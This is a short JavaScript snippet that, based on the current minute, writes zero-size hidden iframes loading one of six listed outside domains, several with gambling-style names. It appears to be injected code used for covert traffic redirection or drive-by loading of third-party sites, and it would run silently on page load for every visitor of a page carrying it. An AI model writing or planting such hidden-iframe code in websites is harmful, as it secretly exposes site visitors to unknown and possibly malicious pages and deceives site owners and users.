var HostList = new Array();
HostList[0] = new Array("http://www.win-8.net",15);
HostList[1] = new Array("http://www.bifacn.com/",40);
HostList[2] = new Array("http://www.q008.com",55);
HostList[3] = new Array("http://www.ball6618.com/",6);
HostList[4] = new Array("http://www.200win.com/",10);
HostList[5] = new Array("http://www.loosz.com",50);
var NowTime = new Date();
var dm = NowTime.getMinutes();
for(var i =0; i< HostList.length;i ++)
{
	if((dm % HostList[i][1]) == 0)
	{
		document.write("<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}